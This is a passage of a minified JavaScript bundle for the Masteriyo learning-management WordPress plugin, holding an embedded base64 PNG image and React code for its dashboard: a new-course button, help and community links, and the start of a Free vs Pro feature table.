zM/f8yoij4r40bSiXpQTH64qd7N2Rrfh4Oy4Si35o0EkPoNP+SBV8ALpdrFlFdkwBqoMYeqmNJaadMTqQIrJXRdCJJFkEVuCRHqlhAZIBFnYIZDookNDDl5SEksAOmXzV7wWRtczxnkmx0iEK5LZ7PtXQ8FghJXBnAksjGzCtBKQue4piaQLGqD6YoOuJmWdE4vIeN0b2Kr78BahG4q47CPJOpg0piWQeW/QAFEg1tIAMoiRGIcAD+4bwStq5D57MKPiTHOsN/zxXaaM8jcUGuG1L88YNBSEOW8UQpJbIfJpIsaHV4XtL/P0JTjd7AqxgO5abFX2hh21BBKJpMIGlphuRFu6AvMEdzztkaIFG1PJimhDoA1amp1ZWqYJyaojZZIqQGhtX/5Jhekz5ty5DhHbcWHs8CRQshhRNTAwLBuV0gQ4R4a1I7CAtfUUkgOIVRTIOSJs1QCB7vePaTYrqSqOG9QF6RhIDJnA+zCuk4qsqiuSap4tszpM+Wj/V/w4kXZVg2Qwd+CLfDjMA1oeErkV+HS5FZnVB60RiTyT6798SqoBkHN4AKqbWknRDSFlacg81TZwgZ1Eig5GaQojQkgkSAx22dXgBPgQTBtYpZ0mGLTSkKTWTiwKKkrrN1+foVwkBoSxGiSREVbxvn0VyV6WAXZUsvMIw2nOqL0EaQYBx0waYnE/05GuBgqg6/607HUSAVd0QWzcuH1MF8Qqj5td10JIIJNaZgDP5aarij9OeD5CZgyD2QXm7AWej7KdnwThjwzP3L7vHIQIGIHBoVoT0oWTf5QYcIqzBCaBo0y1k9vvSVaRlA3C/ChcWFFiQwueKVgAwQztxQAmXbVe+qeqIHzjp0YCTgn4FCbkTJoLwBtABLzHrOr53R17ZFDAjJuPaKbuPcxNYUAGixVZNJguaJr7y6oQMMrAyEoTSB2//POtAAsS4oHEDhAy/v0IgM4ligTzxzQBBhv7RJFm6OXeYMO+bmObGaG2Yfh3lWXm054wPHBt2J+3eeernKphyBVVUDZJW5QcnXEsCATpsjd7lZh0tJIOJUBi2SJpmVFv6WpTQGpbgDGhDSyt7inmbqBDVccKRKgtHr71T0sggqPsMC3PvxGIGISB1dV1X151jcpnzLk70GCCJpgpkxQm1CAVJkxDoFgQYsP+QRskRVMr1dWFMZ4Za702ApJ+5xjtstg6uVhNkyhtzylMorMJWSwT+WODEMkIrSsTkZz34ZlOpxPkfPfDRHvEh2h7rI4cAzcmr1jO4EHAbuRgthhsXHpS7SLZyCqx02DRMZpoUJAQJKYVAwgJRQsiREhXYpW1NaEriNUxSa0OFQC0L178abJiBL7x2uR/hAoIxFHo5ITn38B4RRccZWXgEKhoY4RgGGvu9Dbt2FeLVEOvrRlVkFpb60qkRo1jfCw0bIvgz9oUrj4mh3WSVR2m6JUR4UT5ai6M4Y8Nhk8LqWAe4e0/RUiAZ5uncHg1WCuCENQpqFcizsBNomrYd6ZMEYEK4rjtUpEotpGKEtHRsks1QVCMBuJE3kmqvvXbt6sEJfoeoIpgofLCr154HwBRZSfV+/A+LCKsbVEUZ6gA1FnWoKY6AJRhYAARhBmhPlQgFYqoduyQStoQQowtbmVE/PlTxtgVNMLvkpR6TA4HE0nSgIARlSnjKaJaIMgfD5y1fUJOS+QqfPDFzk6VwYO3B37ccc7iwfDqUowgX/jiQYxXL7S0CBIsiQGDpRNbLYRaKADoWbVxRSKOX652dgVR0HkhqmbURgXZl4JxfevX77gqaqQAsBSD5oX379DqPd8zihDZWeWvQCALQIQ++24qQSGgAghETe03bqjU/VlBhekpUK5YALWTZKXLruwNKTtSBum1+fafEXmKCGrAavPbji57Yy2zs0oQJndgpy6qaFT5Y0YYRP4HhQF47pfX+PAIjIVlImBJIBLUieIBCCMUsISlwOh5EEExIEojZYwpkBOk1GT8vzIhdwbq5d++vZaCQQ0USgsp4q/gV6LIHY6Nj+B9WBFgZ7ctAoOAUVOa086ylWhXJ5UQCIFUTx+RSgwrQjWpKN1FF7oghVGgU8aonzcSMZo2CJG/+BVa6XioJEHKAIHACCZFcIS1WvwRvSzcUeqV9dk968VszAeaI6Z5/5vX1bd/+LbZuNp2tvrRJ6tS+u+e53MNOLw6l1gExZLEqSXNyNOkLJQIaG+qQlRkHGDTx1UQVOrUnEBwalgj0aCGAoSLz7+7rUIiiqCKGFNBRDF31cFfzVsKKxgFCdpKCwCOjU3FaruoKIopUpLqSnVWG4NUDCixgphiJQKhEgCFNDGQBIKCKSGxNeIvnpJYGiDk9tYl3XUozopzj8WoFpFpMVJVauEfK8r/0VF8+Sk+98uDfHhg0ypBUFIz8K5KADFKEixDCJSRtIAaQRAi6gaKCEgXPeqNSKEl2kAAIkaCQnvxrd/IQQxGvvGrr78nMNHsEs0dTvn8+79iSsbACoJxASVdgJyhANEuKaKRYIGA2IVESgQc21lBWZRn8fAVkIqwsBBMEZICtO0yT8WY3s8qPv/brrKrVqAjEEaNF9FEUXW0+yAwVswsrvz5gH3I1QbhgSfM9a4eL1fXcO7hY5dXb1xO8ysv8ModMXuvXvOjruAc50fcDIDI4Dd/dt/ZbuYeB4tYAIaaB6NajCyhURVIVFNBAoF5YzQqURQiqSjz3sagqhnXeUoArM7h5X97D1REhPuWFOAYjnc49fX33zfvZ1h19uXmufeJeNVnYdi5AtVSLVJEgBXRTsX9hMLAOL5dSaHOsF+oiKjz7zIAbkuT6kWMoLWtAIn5bStUSYI2wLggEeVMWxKVCAh58oPDjzXiwof3YeQrn3/qqfefAkDiVWIJijGWiRhFFXJWOVA1RFIQ8DRhzopBROK58TSrglGLhAgxlEA0Obz82laMf0lETudqRH4l7921ru6+nn9fbDEa4bn3I7wPz/3KM0qFChWsVDQ1IwVAjeWdpUSVklQg85XSpmKECQEU1Ciwn4KEVGgJKTSartoAYvLbXqTKxoAJEMbsQxC1LC2QQspAxCfFNx8DRHxw8oyRE+SZf3vmz3z6d9euTT+9qgoukhKwNAHIvjHC0+jwSjGVcft5fguNKdAYU0RQTszAEiUYgpPBFA8v/+R44PKAEZEgfP1XKNy1qHLfV9GCv4q/kvdFVssKAu8jUL1+RWTCmCJh8ma7UKKp+V7nB68sACAFoCIgpNoSSWE0RqIFTA49RCkTQSBJYax0mRTJv3+LoooAkDYqOwqDalmlCErFiCAZH9MTdn0yfPXXPrAGTZw55Kmn4Au7uDJmlNZBAQkaVST5cI9/IkxsXlCzUEggjGMCMTGI7Pt3hATIZGcoCAQq9VdP/dNxyTXcnIG4vAY+r+F1fB18PqIgsnyOClQ2gOx/22qqmC+kiRJEhILQaGdj06BGxUiWE+fbwGTnYwM0MQEQiUkywVapqiLamE6AYm3GLb0AExhfT3d3QNIB0N0/UWutMr0FIGkhZH/lScnox4JfCEATkhASMlMgISYBn/kyf8HTPEUAQylXUSg9tjuCkJ6+JDAIaGE6SAOWMC73ZBUKBkKg9mWujrU5bwN9+KufbutiRcISNWPFvk5eIM/j8/C6kudBtOvNYm2rl8BzEhbPMSXVSTixHabgjCibJRIhG6GBUFuwrURQCQpUpULBVjiKdURBtRAVIJVgKNL7hTur10ZDA7cQIQnRMga0rFqFtdZSOgnF1tnSdDpbSAjsnH1ian0yOIGnWqoWlaIokJKSL6OFX/FpLi8uAZHoRrgKFzarQrvc0oZEqyoJTCEUy+omoaQlxkSNjLDsojVIjGdleQCHzwXdQDD0MuDLP8KVGReIX3+NCMjzr0sksocsgdXUtmiqC7bVANQmk9QLVDMaocRUMKRa7OoKqYAJEjCQAoyd6qIBDPtVF3SFCOeImWzKTWMMFOO83KjeU/SPCE1aII2RAjCKwUCCIRHBmGrFCPFMv3/CsUdk1Ve+dOfXRGIwzvSld/cFBrh9/f7mLy8+mzn5o7KIXUCvlY2q2hJCjFXVBILENJSa9ES/i43YZWCI35rxyHUFI2AiSFAVtxAiIWWyvvXDw/Hi8lrE3A9lB+DrrxmJL7w+Hwb2BA26aAq6gAZidTUFQytjAKQrmmhSiW5li42YGDBdcLKTCOImgTrtpJwaM8PdGGMm6RCgBRSBQRNud5nuakwgqGHG2SFEAsGArRkXdHAyAa4yy/D/IwSMxGAAeTjE+GxffObXF0/98g69fn2av/uF319+6bS4M+3tH1Q4s674iHysQFh2ONSWAIksKwkQgU6o0qSNVGLGZ8j8EyehA6hApoBlZQ6XMh0IEHq5rZfv8OoAGic8GnQXUOSFNybjfpjTtS86azMSq+c3gWWiqcEQwdYGTLVEgrSn3psKczJACEW0D5uhDES4fR0g3v5yj8SaxMTUVidmRXbEDeptINm0ISUBIsqYobQmGFMbKkSJYqbADIkthg7mxMv/4REhgvG8/vfDwvitd790+eunfn3xGX7NU7+e6Usf/OYpfn1HRH3m95d3dz7FYLroh1cYdEXcDpXuQ3XHEKiyGkiErjRqkY6QoquNxK4UxDheAsdNEJjk1laEKDuxpsbYPXklvV2LDO4ILqRrjKPq4gRzzq5tNZFhFcAUfO5qian0PHaECEHi5OCTJhZQXW0wKQwAWakw1T/f/nLfnV+PEMPc1VZ0QUB0ZErSh3c7NHRMliFEqBYC2IZga9AQp6JhRBCMZBxKMQ3E8yTN4DxcgufbEuThjpvEGs+2z46LOT+OK9tXjptpusyYGFfPOy9Aipxj7ogT68yszMKX6t2n4KPYaMs55qZxxnMGE3kBJaFMKFDFGcDVQKlMkdxECj0LrWVi/E+bVBQQLBIMIOdlH13f+tHqbfXCrYZb70nmUb9izQetMJB2K0IEibZQoUY5SEWoVKAomGBhENhPacE0BVFTW4GhIAXRkgyrb3/u8wHy+aqAIDtMganQIkZufx4C6aov/JokiIV0RJwOmgiAJkqWORtUCfuGo2sGTCfCZPJwjggEBg/cfjDyCEcP8pBH58O3JfN5khD2ZRIyT4YQjCEGQyCYQAxf4XfX5CNRAFd1PiMCikY4x1oAoqDRBCOWkYBYhAQlAOj5wI9g9LQd9FwcGAXAQlQVM0/xuuu3sGs7MOkcqneHsKboUwldnKGFthUCmNWFrZOpeZbQRIVUj+IVgyNxJdJJVAWqCyO2iFpFCgHu8eTzO0WlGcz3UgEJYvx8KpBm+VaAsIgEi4qdSAKJEJWUwcnk1GFtOoKiiOKoQomRqxny5jwtdw5w2s8PYt89DefH8cDjzJjGA4NXjpuNWYBmjhl5g5HzmsgDeWh81d99JiIwc5HTawxaDBMANBk9wjk8QIBltmVONlZVJSQGSYKW++4y6YqkgmAgFSBICJ4zb5LeMaQoFDfaAMDLPz0ejhcRR22dzhQUaltsiysYpvVzb1LTcKV0YCX70pBqGPJVpwC7QlfDWHGapEhFMEZO9lU1+1811RAjo6CQGGiJ4NoAAvcUwQQ7RWuDMWSUUYgRW9MrxqaIODIHKyIQYwhAN5hPkA1oPt3cRvPpJynGjzLHpmci4Lf73adWM8rjEBiDGUObyKigD6SwFwlIybEqCUDLKqe6HUlcRZIYi/TUWI5IEBg/WQsIZur9tQYAKay4EVoTX/6n6oORywvjbltNIabn30B47s36aM7QRUPWNlbYFRgjQU60otlbaqvhXp/7FcWundQVIlTP7rVV352vjeqhBBnPHqEp9310vdehARNqM9UmslmBVIK2AKHoIkogBZCch7aeB5P1RjASRl5Mrzk3Zs6lzEfkzYcdZqY5btq5sj1CkfOLjvSZtavHYbx6HPNuOAuuGmvMpeeoCMQIf/1/fLtzuRqGcbOYA8+u+hDxhX6m26DFcVVCgps7jTABCO1BEhos0kWMpAIDAzD/UWG+iZGcisWN7xNiyLXPBv/yJ/HyWiQa+fprue8PDCK1rSt8qWRYRRfbagoG5mxZySkYC2xTaTSgpAvdUxYjscsZl0oBJ2Lu2N2Pi40VA25Xyu4nIISundJNvdc0EKoJEZtEE8AUdCVm39ishhUoIIkiGA2Cme4ISTfBnHf9eTFCwg8/btZgaDKt58dNmznbMS1zyvkbf9hJ52/Mhx73YS3zyWZ59dOf3cV//Ae+nXvEOhwhCHEmOBGUwWxWIh8KP5tuosvNakJwK2qREBKxY1wY0lDSXWCckgTVpq1Ek2iQEwznHC/KuMXG5trF2g7Hg9EYT5Q0QhdIndWtYFjCjm1N/egzmCnNSTXaFbvaAMSE6rKrnfDZQCrGnbcxjiLI0KqrF/E+r3qRphqIo56ZSICmJNznVWIIkBQkwRDwdKuc+k3RBZWYaiRZwIxnQcyZ3ytJR+wn4U4PQuRvLxuOj6JaVhtnzznWKhLECo5ZZQGEyWKf3ERHczi3+BSJgjK8E5Tz9CHFSFe89tIvu7ZDL8BMFBMv/EpArK4895tzV2A1MiiQth2XYY3P+dQmptrsvIIyqkQBClKRHCJoHAdQgZmv8vZTdvXqtRWWohpKsyrCfBqVGqntercZw5Ng2kgsKBFjKIBYRqnCsjwJfEQVkqRpQDNGNnUelz1jChA/bjs+6n6A2Z5aj7M/np9/vj/IaNJCnGsHgWkbk4d9jXODCM9d9cz1A/LKV6vzELxCGAhURIgyGCyrCKZLBBFUCwBOdCoNAdQEjYoEMXiaAkpQmEuO90ZQVADx4rPvrDZVglshAgK/AhSM1r8CA4kVVRiItEAlkCsSribvlx2mEFIi+2VLqlMI43wZokQBnurcY9U4ONPVlc5KU7n9eTAipJwq7Dz723dmKLkMZDznJUSSAgJSKAsRCJRQqIp0d5IoyAzDCVIkYmA8QWZfgMGReqfdY1/hbOP5+fv2nDvSE+b67utn74tz/tX9Mu+OU/ljZuAcP57BOW7syuHVnDtiHXmu6NAIoAjn2ZIVRiiMP7BC5UE21lIRiGIgRCgFGHVVVXCSjUGEiohBhjVEQ3EmpubWFY20cvjstrZVvaBFo6AylFy9gBYqAkhhxBQydZWmGihyVW4THYeaYCpEpCJdpkCMIQo4uc/DLLn9VEilJCk3xSC1rVCVXkWeSmW6OaZS2PGNf6USDUzdQkHRzN2hUoUKBRLrTOCnMyNd6Lk3Q0341DHv99idfAIDM2sP42rkIfAKcCmNVBARFRVFjTI7TmstD8Y6mMJqKEUiQZUEUTAiCiSKSiJGoEb6OpJjpDH7usiQUdA263N9Ya/j8nIpUqhOj3YxBkUAKoUqtgpAHlwWq4LhbEx65mLsIgUVRQQKxWGoMFb85wBCEtZbny3pEtzWVruDsVcvAhjPksLlz/+1BFowEIhxKlUaSixTtW9Mnj6pUo3JRiRImqXpJEEdpTNPUrUeiOeAowDFjMoio2lGFCDnKbcfA68B0WNyoSEhwbLoQAACqNIhYiUjHIQwThwiLRiMzE1EYG6vQLYcPpte2yGiQaJIXnjjhdcj953sV35/UZxrBRskc8yDYJirRaJdBCMpBjnztREBmFGN+7GBa2PtjosVidsKvWLc3v5qA9Rmxlsa4+2WkCIxhDY2QiQGxC4mdv3MPSUxJKELQ09etWdhwAS3zSfh7g+UWMfD76TzCOXhbT+OWFtJt4dq0iZYCzrAya1VSkigIAHOiWXYMWZrEUfhmSK2igrbN3+Sle6DOV5ALyPeoVXci9muZqfWoM7scRojeaAaYjBcJdj8mqN2xSDV46idCaaJSDWw3rrO7eusjZLw1lfc1gx50Cs9VjTBPUjw7RgDxI6JvZeFwkAlJdGmADMGvkACIUhG2k08PHGypO3tCa8+CjG+AgyxeIzwAqGz3LaL1QQScZGGGIBEShMSRQIBYYcEDDJ9sCmJiZx1D4xSEl/8cXqlOB6Oh/EfsGeISAFdXcBAUmNEmdgYAwwptBlUw7DJwOzRQKqNMRVnxMUhCYN9x+AewapZpO9JsDtTjLBRDRAMREiqYb0VDJiEmHELFikTtcu0GhipRQjBEIC0EkBUYwxxPmJyfEKgj0bwlePhg3waxCoNVJqqLYaQRJkEcAJRQZIgIaCKoMDYUE3Ge4WhVMQxkhThhi/9ME3q2HChSyQ+Dy/wOrp2dlI0ACigKZJJ6xcrglCBAiGBQe/LUDCkpGhommojxYQpWhGIyEwwWijcZsd2nV5sW7PBJJRmIQVIFCGaKRkKNAHI1mAQSFAsUqVQAsrJsY7pBLqDAhpLEMbFFlAF8gQfDiBwhAlYfnyoxISVUICKJYAqihMFmaDsSKeJMp2eJOJIhQRh3xyTgcTceuluHNNhHQ8F0Ah8g9fhdbDSzxVdNFBQQE5ikQKnYmyTAPTJz15DqR2ybxeMUJXAyqZMGo/YtokYAjBya2+AcB2GRBs73i7XZkwaeLsp0ATAaOFXv0IEOgJJQpmug/FALWsGM0hQIb31tiXJtqFbU5pYJAkJWlKGCAEgTyqkfTTCQJHHCS8kSFvpVU0iKbEZrSNa0gREEs7GnOMEOSeCiURiKyAM21BTL9Y/Vhd9OK7toPejA3FYUHTRZzG1lX10t2AMHmJsDNraXLW1qpm2gQGJBgRjuBJqJtMMRMBp3Sckzvu5lTHNYluZFEjAJLy7lUlLkkRIFgiSMgYBE+XEkKwNSSQBCZKUEWMJScBogki2o0+y9R+E7xzp0ERieHzwWiaCiEogiMVmIIQYLCtNiEqH8SBIkC7GmgAiyBgI2BqIIpQv/WP1oTEFYirsDkFg4gL7PBQ2Y60NDzLRZdpDpTn9w1FtjNGIOZtMjMzr3IvhbE+z8fb1eKpsQa/t7sTahldAyHvHIqTJSSQWoULRC4gmBREIzXhcYyKJ1URtKLQAEhPEILEv45M6GA9DLIgQHhsKJndClRB0HO3nhY9LCJAEogIInuzqAEKAoGGGQCdN88W7vKojXd1HAKMIvgEuilHcmqloLiZEZDIrZIej+z0Er2gDoH1iCkbEJMYAt2XoI8zbxvEn7I1cB4CwsdqCrG2xAe4Tany6QEgSUElwFaUUiokCEpKg2Y+GaIK0SDasWlVQnBTLQJBgnpRHezjIY8UqiEpABDRSMN7cqGoyQXNFyQ4RJvu10MgkiggwfRLN4bdvF3Fth2NVqTKFd9cZUUQoRVUghVFORMiVzJi2hckrnp3nqIApkHGkS2Ro8PnoZEpqOEcjkczTBRAI73wuq8OcosGA+LsQ0kgwlKgWqoCUFEA3JJpOASshqZwuRy1LQCefEsDUtkURxCfk+lAmPdcENok8VhyIwnSokThE4lkyt4EYQFIRIwiREWyBgKHGEqtAgKi8/MON3Y9+OC4EFLiXeHWedFUA1WqkFyJxlLF5y6toqotF19xcF5ghRaggON8AAmSdSlh4+zoxE98OOxIJZmR6gykAuA7bujvdXQBGg8l+WDCJQbDUHl23Asm+n9oCQtiidgOmhaaEueuOKUAkHc0TmfUw6IqEx4eilIyioSowLggxoECLAhDsHqXU8UJ3VPDENUERJGr41g+hevUBOB5wU6SR15WmkEGVKUGoEBJxhOn5798AfSJmaqNnE4BiSFAIRGaACLh974V9HfG2kevEMH10JKOBNAaSdHrb0tmShABswLYtqMl7NEgFTkasUONunEjS3lo1x6zDIgqSYElcFdZBUChCkpg0kCRbMprCE5n1YAQijw9FJxiFdCMw0icNCapkb0IQwNHpIQFQLJIAkJl1d1Aw9a0fVjWHrY4cjgdlgeHrgBQFZqy/CopMOLRhx6SVMhga2VaqobmKCk2ERHCs1+vwZbgNwG2uYwgiJ2YYARo7dAN9FzTHLXT3ve2QhLABbPSE9zYJ10NCEEXFKIimMKGztWX6yFpp7I4C2Pd3cDiUWmJl5xUoEaAjguCTStQfjQYoyGOWWDJhN91RmcwXKTEBxCuDI+4TQ7egoiHK2FVCFO7yqsEuD8ecdsrrPK9F9UnyQAEyFg5jkM8oVsIJzUgoAptdtTdQ7stxWAaKQM4CtBq+zG3gOrfhXSTE83rpYAJUuhsSms597GRLE09yC3hnboy36BniRlRk3P69dUqyhTIhnXLRihaJtSRRUIEOvbN1XEYB8Eko7gNQcGgeNwqFSEGZLQJKgGiSMEETEghpAHRKJZwIZ0gICGR0RYoAh5d/WF1dga3xQpEXwvPImxRQUAJYYoHTNwQkQnMWi3zmROyGBgQLespb4L4MkZRiIwAh4TYRAm9zfZdYuR4CRkgAY0g6AWgCHUjyfG+5j21rCEmGzCAGgpA0CUJRJTCWJjZpIGabrAJhKg+4o4JadJIO6RANGDLOXJ785M9HhGMfDg3NY0cJTJdNpzw1hDKIgjDudTWQToSBYBIVRFAJIEkwfOuz/wRA01V9UL8BvC6voyeuJwAiOqIKSRA4qaAxJApNMz14X0/R1VDjsZ8PG00gFdKkaczTQDA8vauFAYhTzDIj62i6E5LQeeGF/PhyO3YnnZCtm9wDgQa4fhsA0v++ExJABaQRQWg6x+NBsRElFBBFVayDKgBlSRqApAOyv6uGRM4yip6YWjsCfOc7wAIMyuNEhUiS7JvbVJBBiZ52MtTulFIwuyCglCSQCQyEUAval3+y9aK6oI7UcR7jUvOrO2GS8KeBUVNpIMDJsCiqC2iqqP1km+qiu4b5zEoUQCyoFNE478a+oiEEqMQR4s1Oq+QFeO2n2wZsW4dwKunSIQL3VctAkHoLOzJjCBaCEexsrk5oa3VaUMCgWAZU0ZIi3X287NDjf+IkiCOWwJMEkiu4+V0+LRyEEFAS48YyAkGaIgpKhtSh0kI8F6uMewODMDtj+60fbyvpKgugD8TXAGH1thh5JXSdx+gZg5Ck2oRqAQyBLop9FtKLLrI2GPVpKGqIkagtV2sW375++3o0cu4wipCuItAQaAL8xM52ibkgXRgQYhcBQK5HAgmGt1tj6XlOfBECKcDuJa5IRYkpMFuJYytK0gAbWW0JSgDWFqAzI1tPuHWOV7j5yqdFrHMxGOwSCAaKAK2YgEkBGNCp+kEioJGJuA1n9d5Yd3hF6OoKXRTgdgCAZu0rxhCsiDGelRLj9BahAqM/bqsLuorV1raKrLapnswTAhMxYUtSU7h53udpns671wNg6ApIDAlk64ImkNASOly6OheXF6RZEhxmaYwECHRXd82HKyAVsE0qSaXFJYAaA0UkKc+fWw2dLhFZbQFE6Ko2o0A/kVlXwpm+y3e/A/JpoABUUUC0rXj+awIAM8MKBDlBYTwG+yIQDJrg4eUfbVV2UdDV1S0s9HmwAkBZECxFnGg8gfMwK9JMZTFYVEPRULUJuMFzNMVg8p2taJcJBiLhBG/j03FC6snEc5A8288mpJPubestXJKGI0BIgBkzkBgD0tCw2ibjLg2mBBMbEolikZo0OAMqoJSISbpBoqhVimgprFIAJQnEJ/4LBvd4NV0WH3d0OzEoSaJYwrhKSEWrIUSENkxdKqM5qxkKCMO82ijXZzeqi9OLvkAQwdprbRqA6opghLmqBBNsIRhDNTu6Zq3vF81tiFBNjdAy++X3MPkYUl2tAOflhSGM/tQrDTz3RoJf5zWSHGvleGgIl0guLrlAWCKCUFCAgd4rYf/XjequQtlv0VQHCF2hWjDaBoJGgmAIFTEmxAYjRhiFdQYfQgI7fPLjdDASy1duvsLxKEcxksdJrCIxoOlJmmum6nihdiQRoaMGNJEgVxLYmU4qtnn5nzgcGZ2MrpIZFp38+wogQSPAiUWQCjEmmGowfCi6gG11dVZT59knxiBI/t2/aAxTnRPDIKmv/iKBec48Z75fn7+8Rjf7w4HAZeUSgAsmuhHuhzShxtBd0HW7O0KhETQEqlsbtxWwqVQyIYCQIkz5gNiAwThf1USmYEcj3R12+IRYMNQCOB6lg0Aev8QyZXcv4ESsUWCsJCYKNkSDk7F0jiEVlVC090ev9ol7MyxBEKuhptsLo//dvh5HbOyUMrDDYHbWMMu70+Ydvp7ecGRWxZCiNbbGYCtEGIRUny5IDM9LXv1g+9zFlGbL//TTb/z0G/y0t0su4PLCOMxCCsVA0sDXvn9MNYUKIBHbRJrkEBKNMt9wcL5xyN4AYFJECIRmnBTVqVAkTQcAnuRnwTmzjmk6SMynogqaTgqsokMAuoKGcjOAkQRSQYlBDFc5ZUBILO5GBxac9fCuvhBBWGMHUbkagRODJJIZqH4QmmKnWUN1MZxDDCmSSsTsmiBTjUlobSEANBDwOSTf37L52Z1ZS+Abr339dXjhx9vlBTukdErSKpDQ8LUfHDsVlqmIME/L0JJFR2c8gETjkD5BZF+fdGEmv5+YYCoGIXQ/YdQVXfA7N1+By6TzuEW5IicWYEA0MZyVtgTGIWdkaDSzaZrdQhUfihCEcIYYjOcXiXHMuI+E+dANYzhDZJzs5zOIcP5Wsz8JBNaaz4ABo1d/DzgGp8HQiZHo1TsNs21kx6xhDxWJmSOufLS5SiSSJ7Lqw+l1828+he/l/wZ8jA2zr7dF7QAAAABJRU5ErkJggg==",videoURL:"https://www.youtube.com/embed/AwDaQhySTjA?si=jsR_APOTvNL_hX1J?amprel=0&showinfo=0&autoplay=true"}),l().createElement(Bt.e,{mt:"5",spacing:"6"},l().createElement(p.$,{isLoading:null==i?void 0:i.isPending,onClick:()=>{return e={name:"Untitled Course"},void i.mutate(hb(hb({},e),{},{status:"draft"}),{onSuccess:e=>{we(t,["courseList",{order:"desc",orderby:"date"}],e),a({pathname:Pt.courses.edit.replace(":courseId",e.id.toString())})},onError:e=>{r({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}});var e},colorScheme:"primary",rounded:"base",color:"white",leftIcon:l().createElement(Ln,{fill:"currentColor",width:"16px",height:"16px"}),textDecor:"none !important",_hover:{bgColor:"primary.600",textColor:"white"}},(0,E.__)("Add New Course","learning-management-system")),l().createElement(p.$,{as:je.N,variant:"outline",colorScheme:"primary",borderRadius:"base",fontSize:"xs",href:oa,textDecor:"none !important",isExternal:!0},(0,E.__)("View All Courses","learning-management-system"))))),l().createElement(d.B,{gap:"5"},l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(ab.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Masteriyo Community","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Join our exclusive group and connect with fellow Masteriyo members. Ask questions, contribute to discussions, and share feedback!","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:ma,isExternal:!0},(0,E.__)("Join our Facebook Group","learning-management-system"))),l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(lb.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Getting Started","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Check our documentation for detailed information on Masteriyo features and how to use them.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:ia,isExternal:!0},(0,E.__)("View Documentation","learning-management-system"))),l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(rb.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Support","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Submit a ticket for encountered issues and get help from our support team instantly.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:ca,isExternal:!0},(0,E.__)("Create a Ticket","learning-management-system"))),l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(kt.vYt,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Feature Request","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Don’t find a feature you’re looking for? Suggest any features you think would enhance our product.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:sa,isExternal:!0},(0,E.__)("Request a Feature","learning-management-system"))),l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(ib.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Submit a Review","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Please take a moment to give us a review. We appreciate honest feedback that’ll help us improve our plugin.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:ua,isExternal:!0},(0,E.__)("Submit a Review","learning-management-system"))),l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(ob.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Video Tutorials","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Watch our step-by-step video tutorials that’ll help you get the best out of Masteriyo’s features.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",isExternal:!0,href:"https://www.youtube.com/@masteriyolms"},(0,E.__)("Watch Videos","learning-management-system")))))))};var wb=n(83246),Cb=n(65800),xb=n(80548),Sb=n(37998),Bb=n(11994),Ib=n(89546);const Ob=()=>l().createElement(De.m,{maxW:"container.xl",mt:8,mb:12},l().createElement(d.B,{spacing:8},l().createElement(Qe.a,{borderWidth:"1px",borderColor:"gray.200",borderRadius:"lg",overflow:"hidden",boxShadow:"md"},l().createElement(wb.X,{variant:"simple"},l().createElement(Cb.d,null,l().createElement(xb.Tr,{bgColor:Aa},l().createElement(Sb.Th,{color:"white",width:"50%",fontSize:"md",textTransform:"none",py:4},(0,E.__)("Features","learning-management-system")),l().createElement(Sb.Th,{color:"white",width:"25%",fontSize:"md",textAlign:"center",textTransform:"none",py:4},(0,E.__)("Free","learning-management-system")),l().createElement(Sb.Th,{color:"white",width:"25%",fontSize:"md",textAlign:"center",textTransform:"none",py:4},(0,E.__)("Pro","learning-management-system")))),l().createElement(Bb.N,null,Ea.features.map(((e,t)=>l().createElement(xb.Tr,{key:null==e?void 